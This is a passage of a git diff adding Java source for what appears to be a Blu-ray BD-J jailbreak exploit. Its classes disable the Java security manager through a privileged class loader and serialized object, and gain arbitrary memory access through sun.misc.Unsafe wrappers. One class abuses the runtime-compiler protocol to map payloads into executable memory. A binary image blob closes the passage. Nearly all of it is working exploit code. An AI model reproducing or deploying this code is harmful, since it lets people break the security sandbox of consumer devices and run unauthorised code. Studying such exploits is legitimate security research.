javax.tv.xlet.XletContext; +import org.havi.ui.HScene; +import org.havi.ui.HSceneFactory; + +public class ExploitXlet implements Xlet { + private HScene scene; + private Screen screen; + + public void initXlet(XletContext context) { + Exploit.init(); + + screen = Screen.getInstance(); + screen.setSize(1920, 1080); // BD screen size + + scene = HSceneFactory.getInstance().getDefaultHScene(); + scene.add(screen, BorderLayout.CENTER); + scene.validate(); + } + + public void startXlet() { + screen.setVisible(true); + scene.setVisible(true); + Exploit.start(); + } + + public void pauseXlet() { + screen.setVisible(false); + } + + public void destroyXlet(boolean unconditional) { + scene.remove(screen); + scene = null; + } +} diff --git a/com/bdjb/IxcProxyImpl.java b/com/bdjb/IxcProxyImpl.java new file mode 100644 index 0000000..52bc86a --- /dev/null +++ b/com/bdjb/IxcProxyImpl.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.sony.gemstack.core.CoreAppContext; +import com.sony.gemstack.core.CoreIxcClassLoader; +import com.sony.gemstack.org.dvb.io.ixc.IxcProxy; +import java.rmi.RemoteException; + +/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */ +class IxcProxyImpl extends IxcProxy { + private static IxcProxyImpl instance; + + private Object remote; + + private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) { + super(localClassLoader, remoteClassLoader); + } + + static synchronized IxcProxyImpl getInstance() { + if (instance == null) { + CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader(); + instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader); + } + return instance; + } + + public Object getRemote() { + return remote; + } + + public void forgetRemote() {} + + /** Override to avoid serializing the return object. */ + protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader) + throws RemoteException { + return obj; + } + + public Object invokeMethod(Object obj, String name, String signature, Object[] args) + throws Exception { + this.remote = obj; + return super.invokeMethod(args, name, signature); + } +} diff --git a/com/bdjb/JIT.java b/com/bdjb/JIT.java new file mode 100644 index 0000000..c38b21e --- /dev/null +++ b/com/bdjb/JIT.java @@ -0,0 +1,160 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.RandomAccessFile; + +/** + * JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to + * executable memory. + */ +final class JIT { + static final int BDJ_MODULE_HANDLE = 0; + + static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe. + static final int PAGE_SIZE = 0x4000; + static final int ALIGNMENT = 0x100000; + + private static final int CHUNK_SIZE = 0x30; + + private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; + + private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58; + + private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA; + + private static final byte[] BUFFER_BLOB_CREATE_SEQ = { + (byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F + }; + + private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = { + (byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41 + }; + + private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo"; + private static final String WRITE_SYMBOL = "write"; + private static final String READ_SYMBOL = "read"; + + private static JIT instance; + + private final API api; + + private long sceKernelGetModuleInfo; + private long read; + private long write; + private long BufferBlob__create; + + private int compilerAgentSocket; + + private JIT() throws Exception { + this.api = API.getInstance(); + this.init(); + } + + static synchronized JIT getInstance() throws Exception { + if (instance == null) { + instance = new JIT(); + } + return instance; + } + + private void init() { + sceKernelGetModuleInfo = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); + read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); + write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); + + if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { + throw new IllegalStateException("Symbols could not be found."); + } + + long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); + api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); + api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); + if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) { + throw new IllegalStateException("sceKernelGetModuleInfo failed."); + } + + long bdjBase = api.read64(modinfo + 0x108); + long bdjSize = api.read32(modinfo + 0x110); + + api.free(modinfo); + + int i = 0; + while (i < bdjSize + && api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) { + i++; + } + if (i == bdjSize) { + throw new IllegalStateException("BufferBlob::create function could not be found."); + } + BufferBlob__create = bdjBase + i - 0x21; + + i = 0; + while (i < bdjSize + && api.memcmp( + bdjBase + i, + COMPILER_AGENT_SENDER_THREAD_SEQ, + COMPILER_AGENT_SENDER_THREAD_SEQ.length) + != 0) { + i++; + } + if (i == bdjSize) { + throw new IllegalStateException("Compiler agent socket could not be found."); + } + long compilerAgentSocketOpcode = bdjBase + i - 0x10; + compilerAgentSocket = + api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); + } + + long mapPayload(String path) throws Exception { + RandomAccessFile file = new RandomAccessFile(path, "r"); + + // TODO: Currently we just use maximum size so that the address is predictable. + long size = MAX_JIT_SIZE; + // long size = file.length() + 0x88 + ALIGNMENT - 1; + // if (size >= MAX_JIT_SIZE) { + // throw new IllegalArgumentException("Payload is too big."); + // } + + long name = api.malloc(4); + api.strcpy(name, "jit"); + long blob = api.call(BufferBlob__create, name, size); + long code = blob + api.read32(blob + 0x20); + api.free(name); + + long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1); + + long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE); + long response = api.malloc(API.INT8_SIZE); + + for (long i = 0; i < file.length(); i += CHUNK_SIZE) { + byte[] chunk = new byte[CHUNK_SIZE]; + + file.seek(i); + file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); + + api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE); + api.memcpy(request + 0x00, chunk, CHUNK_SIZE); + api.write64(request + 0x38, address + i - 0x28); + api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE); + + api.write8(response, (byte) 0); + api.call(read, compilerAgentSocket, response, API.INT8_SIZE); + + if (api.read8(response) != ACK_MAGIC_NUMBER) { + throw new IllegalStateException("Wrong compiler response."); + } + } + + api.free(response); + api.free(request); + + return address; + } +} diff --git a/com/bdjb/Payload.java b/com/bdjb/Payload.java new file mode 100644 index 0000000..fe5ff91 --- /dev/null +++ b/com/bdjb/Payload.java @@ -0,0 +1,24 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.security.AccessController; +import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; + +/** Payload class that is loaded with all permissions in order to disable the security manager. */ +public class Payload implements PrivilegedExceptionAction { + public Payload() throws PrivilegedActionException { + AccessController.doPrivileged(this); + } + + public Object run() throws Exception { + System.setSecurityManager(null); + return null; + } +} diff --git a/com/bdjb/PayloadClassLoader.java b/com/bdjb/PayloadClassLoader.java new file mode 100644 index 0000000..9d96977 --- /dev/null +++ b/com/bdjb/PayloadClassLoader.java @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.Serializable; +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectInputStream; +import java.io.InputStream; +import java.security.ProtectionDomain; +import java.security.Permissions; +import java.security.AllPermission; + +/** ClassLoader subclass that is instantiated on deserialization. */ +class PayloadClassLoader extends ClassLoader implements Serializable { + private static final long serialVersionUID = 0x4141414141414141L; + + private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class"; + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; + + private static PayloadClassLoader instance; + + static PayloadClassLoader getInstance() { + return instance; + } + + private void readObject(ObjectInputStream stream) { + instance = this; + } + + void newPayload() throws Exception { + InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + inputStream.close(); + + byte[] payload = outputStream.toByteArray(); + + // Instantiate the payload class with all permissions to disable the security manager. + Permissions permissions = new Permissions(); + permissions.add(new AllPermission()); + ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions); + Class payloadClass = + defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain); + payloadClass.newInstance(); + } +} diff --git a/com/bdjb/PayloadClassLoaderSerializer.java b/com/bdjb/PayloadClassLoaderSerializer.java new file mode 100644 index 0000000..98a5ec1 --- /dev/null +++ b/com/bdjb/PayloadClassLoaderSerializer.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; + +/** Simple util to create a serialized object of the PayloadClassLoader class. */ +class PayloadClassLoaderSerializer { + public static void main(String[] args) { + try { + ObjectOutputStream objectOutputStream = + new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser")); + objectOutputStream.writeObject(new PayloadClassLoader()); + objectOutputStream.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/com/bdjb/ProviderAccessorImpl.java b/com/bdjb/ProviderAccessorImpl.java new file mode 100644 index 0000000..97d6f12 --- /dev/null +++ b/com/bdjb/ProviderAccessorImpl.java @@ -0,0 +1,65 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.oracle.ProviderAccessor; +import com.oracle.ProviderAdapter; +import com.oracle.security.Service; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import java.security.Provider; +import java.security.Security; + +/** ProviderAccessor implementation that allows arbitrary services to be added. */ +class ProviderAccessorImpl implements ProviderAccessor { + private final HashMap providerServices = new HashMap(); + + ProviderAccessorImpl(Provider[] providers) { + this.copyProviderServices(providers); + } + + private void copyProviderServices(Provider[] providers) { + for (int i = 0; i < providers.length; i++) { + providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i]))); + } + } + + void setProviderAccessor() { + ProviderAdapter.setProviderAccessor(this); + } + + public Service getService(Provider provider, String type, String algorithm) { + Set services = getServices(provider); + if (services != null) { + Iterator iterator = services.iterator(); + while (iterator.hasNext()) { + Service service = (Service) iterator.next(); + if (service.getType().equals(type) + && (service.getAlgorithm().equals(algorithm) + || service.getAliases().contains(algorithm))) { + return service; + } + } + } + return null; + } + + public Set getServices(Provider provider) { + return (Set) providerServices.get(provider); + } + + public void putService(Provider provider, Object service) { + Set services = getServices(provider); + if (services != null) { + services.add(service); + } + } +} diff --git a/com/bdjb/Screen.java b/com/bdjb/Screen.java new file mode 100644 index 0000000..6c5d073 --- /dev/null +++ b/com/bdjb/Screen.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.awt.Color; +import java.awt.Container; +import java.awt.Font; +import java.awt.Graphics; +import java.util.ArrayList; + +class Screen extends Container { + private static final Font FONT = new Font(null, Font.PLAIN, 36); + + private static final ArrayList messages = new ArrayList(); + + private static final Screen instance = new Screen(); + + static Screen getInstance() { + return instance; + } + + static void println(String msg) { + messages.add(msg); + instance.repaint(); + } + + public void paint(Graphics g) { + g.setFont(FONT); + g.setColor(Color.WHITE); + + int x = 100; + int y = 100; + int height = g.getFontMetrics().getHeight(); + for (int i = 0; i < messages.size(); i++) { + String msg = (String) messages.get(i); + g.drawString(msg, x, y); + y += height; + } + } +} diff --git a/com/bdjb/ServiceImpl.java b/com/bdjb/ServiceImpl.java new file mode 100644 index 0000000..96acb2f --- /dev/null +++ b/com/bdjb/ServiceImpl.java @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.oracle.security.Service; +import java.util.List; +import java.util.Map; +import java.security.Provider; + +/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */ +class ServiceImpl extends Service implements ServiceInterface { + ServiceImpl(Provider provider) { + super(provider); + } + + ServiceImpl( + Provider provider, + String type, + String algorithm, + String className, + List aliases, + Map attributes) { + super(provider, type, algorithm, className, aliases, attributes); + } +} diff --git a/com/bdjb/ServiceInterface.java b/com/bdjb/ServiceInterface.java new file mode 100644 index 0000000..04c94d8 --- /dev/null +++ b/com/bdjb/ServiceInterface.java @@ -0,0 +1,18 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.security.NoSuchAlgorithmException; + +/** Service interface with methods of interest throwing RemoteException. */ +interface ServiceInterface extends Remote { + public Object newInstance(Object constructorParameter) + throws RemoteException, NoSuchAlgorithmException; +} diff --git a/com/bdjb/UnsafeInterface.java b/com/bdjb/UnsafeInterface.java new file mode 100644 index 0000000..9d0e897 --- /dev/null +++ b/com/bdjb/UnsafeInterface.java @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; + +interface UnsafeInterface { + public byte getByte(long address); + + public short getShort(long address); + + public int getInt(long address); + + public long getLong(long address); + + public long getLong(Object o, long offset); + + public void putByte(long address, byte x); + + public void putShort(long address, short x); + + public void putInt(long address, int x); + + public void putLong(long address, long x); + + public void putObject(Object o, long offset, Object x); + + public long objectFieldOffset(Field f); + + public long allocateMemory(long bytes); + + public long reallocateMemory(long address, long bytes); + + public void freeMemory(long address); +} diff --git a/com/bdjb/UnsafeJdkImpl.java b/com/bdjb/UnsafeJdkImpl.java new file mode 100644 index 0000000..0342410 --- /dev/null +++ b/com/bdjb/UnsafeJdkImpl.java @@ -0,0 +1,105 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import jdk.internal.misc.Unsafe; + +class UnsafeJdkImpl implements UnsafeInterface { + private static final String GET_MODULE_METHOD_NAME = "getModule"; + + private static final String MODULE_CLASS_NAME = "java.lang.Module"; + private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME = + "implAddOpensToAllUnnamed"; + + private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe"; + private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe"; + + private final Unsafe unsafe; + + UnsafeJdkImpl() throws Exception { + // Throw exception if class does not exist. + Class.forName(UNSAFE_CLASS_NAME); + + // Get unsafe module. + Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null); + getModuleMethod.setAccessible(true); + Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null); + + // Open unsafe package. + Method implAddOpensToAllUnnamedMethod = + Class.forName(MODULE_CLASS_NAME) + .getDeclaredMethod( + IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class}); + implAddOpensToAllUnnamedMethod.setAccessible(true); + implAddOpensToAllUnnamedMethod.invoke( + unsafeModule, new Object[] {Unsafe.class.getPackage().getName()}); + + // Get unsafe instance. + Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME); + theUnsafeField.setAccessible(true); + unsafe = (Unsafe) theUnsafeField.get(null); + } + + public byte getByte(long address) { + return unsafe.getByte(address); + } + + public short getShort(long address) { + return unsafe.getShort(address); + } + + public int getInt(long address) { + return unsafe.getInt(address); + } + + public long getLong(long address) { + return unsafe.getLong(address); + } + + public long getLong(Object o, long offset) { + return unsafe.getLong(o, offset); + } + + public void putByte(long address, byte x) { + unsafe.putByte(address, x); + } + + public void putShort(long address, short x) { + unsafe.putShort(address, x); + } + + public void putInt(long address, int x) { + unsafe.putInt(address, x); + } + + public void putLong(long address, long x) { + unsafe.putLong(address, x); + } + + public void putObject(Object o, long offset, Object x) { + unsafe.putObject(o, offset, x); + } + + public long objectFieldOffset(Field f) { + return unsafe.objectFieldOffset(f); + } + + public long allocateMemory(long bytes) { + return unsafe.allocateMemory(bytes); + } + + public long reallocateMemory(long address, long bytes) { + return unsafe.reallocateMemory(address, bytes); + } + + public void freeMemory(long address) { + unsafe.freeMemory(address); + } +} diff --git a/com/bdjb/UnsafeSunImpl.java b/com/bdjb/UnsafeSunImpl.java new file mode 100644 index 0000000..e659562 --- /dev/null +++ b/com/bdjb/UnsafeSunImpl.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; +import sun.misc.Unsafe; + +class UnsafeSunImpl implements UnsafeInterface { + private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe"; + private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe"; + + private final Unsafe unsafe; + + UnsafeSunImpl() throws Exception { + // Throw exception if class does not exist. + Class.forName(UNSAFE_CLASS_NAME); + + // Get unsafe instance. + Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME); + theUnsafeField.setAccessible(true); + unsafe = (Unsafe) theUnsafeField.get(null); + } + + public byte getByte(long address) { + return unsafe.getByte(address); + } + + public short getShort(long address) { + return unsafe.getShort(address); + } + + public int getInt(long address) { + return unsafe.getInt(address); + } + + public long getLong(long address) { + return unsafe.getLong(address); + } + + public long getLong(Object o, long offset) { + return unsafe.getLong(o, offset); + } + + public void putByte(long address, byte x) { + unsafe.putByte(address, x); + } + + public void putShort(long address, short x) { + unsafe.putShort(address, x); + } + + public void putInt(long address, int x) { + unsafe.putInt(address, x); + } + + public void putLong(long address, long x) { + unsafe.putLong(address, x); + } + + public void putObject(Object o, long offset, Object x) { + unsafe.putObject(o, offset, x); + } + + public long objectFieldOffset(Field f) { + return unsafe.objectFieldOffset(f); + } + + public long allocateMemory(long bytes) { + return unsafe.allocateMemory(bytes); + } + + public long reallocateMemory(long address, long bytes) { + return unsafe.reallocateMemory(address, bytes); + } + + public void freeMemory(long address) { + unsafe.freeMemory(address); + } +} diff --git a/com/bdjb/bluray.ExploitXlet.perm b/com/bdjb/bluray.ExploitXlet.perm new file mode 100644 index 0000000..f15fe06 --- /dev/null +++ b/com/bdjb/bluray.ExploitXlet.perm @@ -0,0 +1,12 @@ + + + + + + + + * + + + + diff --git a/disc/BDMV/META/DL/bdjb.jpg b/disc/BDMV/META/DL/bdjb.jpg new file mode 100644 index 0000000000000000000000000000000000000000..cddcb802cd272934fa8a6eb6b2e71647fe4659a4 GIT binary patch literal 57095 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 